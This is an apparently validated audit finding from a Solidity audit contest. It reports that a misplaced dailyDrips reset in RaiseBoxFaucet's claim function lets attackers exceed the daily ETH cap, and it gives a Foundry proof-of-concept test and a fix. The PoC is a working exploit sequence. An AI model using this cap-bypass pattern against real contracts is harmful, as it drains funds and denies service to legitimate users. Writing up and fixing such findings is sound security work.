Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Infinite ETH Drip Vulnerability via Reset Abuse in `RaiseBoxFaucet::claimFaucetTokens`

Root + Impact

Description

The ETH drip mechanism aims to distribute a fixed amount (sepEthAmountToDrip) to first-time claimers while enforcing a daily cap (dailySepEthCap) via dailyDrips. For qualifying claims (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused), the logic checks the day (currentDay > lastDripDay) to reset dailyDrips = 0 if a new day has started, then verifies if dailyDrips + sepEthAmountToDrip <= dailySepEthCap before incrementing dailyDrips and transferring ETH.

However, in the else block (non-qualifying claims), dailyDrips = 0 unconditionally resets the counter. An attacker can use a non-first-time address to trigger this reset, zeroing dailyDrips without consuming cap. A subsequent first-time claim then sees dailyDrips = 0, passing the cap check and receiving ETH, repeating the cycle to exceed the daily limit arbitrarily. This abuses the lazy reset design, turning a safety mechanism into an exploitation vector.

// @> Root cause in the codebase
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
.
.
.
} else {
// @> Misplaced reset in else block enables abuse
@> dailyDrips = 0;
}

Risk

Likelihood:

  • High: Requires only a non-first-time address (easy to create) and a first-time address; no cooldown bypass needed as spammer and exploiter can alternate.

  • Attack can be automated with multiple accounts, exploiting the reset without consuming cap.

Impact:

  • High: Enables draining of all contract ETH, halting the faucet indefinitely and denying service to legitimate testnet users needing gas funds.

  • Economic loss: Unlimited drips could exhaust funding (e.g., 1 ETH cap bypassed for 100+ drips), with no on-chain alerts beyond skipped events.

Proof of Concept

The following Foundry test demonstrates the vulnerability: A non-first-time claim resets dailyDrips = 0 in the else block, allowing a subsequent first-time claim to receive ETH as if starting fresh. Repeating this cycle exceeds the daily cap, confirming infinite drip abuse.

Add the following to the RaiseBoxFaucetTest.t.sol test:

Proof of Code
function test__InfiniteDripViaResetAbuse() public {
// Day 1: First-time user1 claims
vm.prank(user1);
raiseBoxFaucet.claimFaucetTokens(); // dailyDrips = 0.005 ETH
console.log("User1 claimed, dailyDrips:", raiseBoxFaucet.dailyDrips());
// Check initial drip
assertEq(raiseBoxFaucet.dailyDrips(), 0.005 ether); // 0.005 ETH
uint256 mappingSlot = 7;
// Set user2 as non-first-time via storage manipulation
bytes32 userTwoSlot = keccak256(abi.encode(address(user2), mappingSlot));
vm.store(address(raiseBoxFaucet), userTwoSlot, bytes32(uint256(1)));
bool userTwoHasClaimedEth = raiseBoxFaucet.getHasClaimedEth(user2);
console.log("User2 has claimed ETH:", userTwoHasClaimedEth);
// Spam with non-first-time user2 (already claimed, so else block)
vm.prank(user2);
raiseBoxFaucet.claimFaucetTokens(); // Goes to else: dailyDrips = 0 (reset!)
// Now first-time user3 claims – should get full drip as if new day
vm.prank(user3);
raiseBoxFaucet.claimFaucetTokens(); // dailyDrips = 0 + 0.005 = 0.005
console.log("User3 claimed, dailyDrips:", raiseBoxFaucet.dailyDrips());
assertEq(raiseBoxFaucet.dailyDrips(), 0.005 ether); // 0.01 ETH
// Cycle 2: Reset with user4 (non-first-time), claim with user5
bytes32 userFourSlot = keccak256(abi.encode(address(user4), mappingSlot));
vm.store(address(raiseBoxFaucet), userFourSlot, bytes32(uint256(1)));
vm.prank(user4);
raiseBoxFaucet.claimFaucetTokens(); // Reset dailyDrips = 0
vm.prank(user5);
raiseBoxFaucet.claimFaucetTokens(); // Gets drip, dailyDrips = 0.005
console.log("User5 claimed, dailyDrips:", raiseBoxFaucet.dailyDrips());
assertEq(raiseBoxFaucet.dailyDrips(), 0.005 ether); // 0.005 ETH
// Cycle 3: Reset with user6 (non-first-time), claim with user7
bytes32 userSixSlot = keccak256(abi.encode(address(user6), mappingSlot));
vm.store(address(raiseBoxFaucet), userSixSlot, bytes32(uint256(1)));
vm.prank(user6);
raiseBoxFaucet.claimFaucetTokens(); // Reset dailyDrips = 0
vm.prank(user7);
raiseBoxFaucet.claimFaucetTokens(); // Gets drip, dailyDrips = 0.005
console.log("User7 claimed, dailyDrips:", raiseBoxFaucet.dailyDrips());
assertEq(raiseBoxFaucet.dailyDrips(), 0.005 ether); // 0.005 ETH
}

Explanation

  • Setup: Funds the contract and performs an initial first-time claim with user1 to set dailyDrips to 0.005 ETH, verifying the baseline.

  • Abuse Preparation: Manipulates storage to mark user2 as non-first-time (hasClaimedEth[user2] = true), confirmed via getter.

  • Cycle 1: User2's claim enters the else block, resetting dailyDrips = 0. User3 (first-time) then claims, passing the cap check (0 + 0.005 <= cap) and receiving ETH, with dailyDrips back to 0.005 ETH.

  • Cycle 2: Repeats with user4 (spam reset) and user5 (exploit claim), confirming reset and fresh drip.

  • Cycle 3: Final cycle with user6 (reset) and user7 (exploit), logging and asserting the pattern.

  • Result: Each cycle bypasses the cap via reset, enabling multiple drips (total > cap). The test passes, proving the vulnerability allows infinite abuse within the same "day."

Recommended Mitigation

Remove the erroneous reset from the else block, ensuring dailyDrips = 0 only occurs in the daily rollover check within the if block. This prevents non-qualifying claims from manipulating the cap.

- } else {
- dailyDrips = 0;
+ // No action needed for non-qualifying claims
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.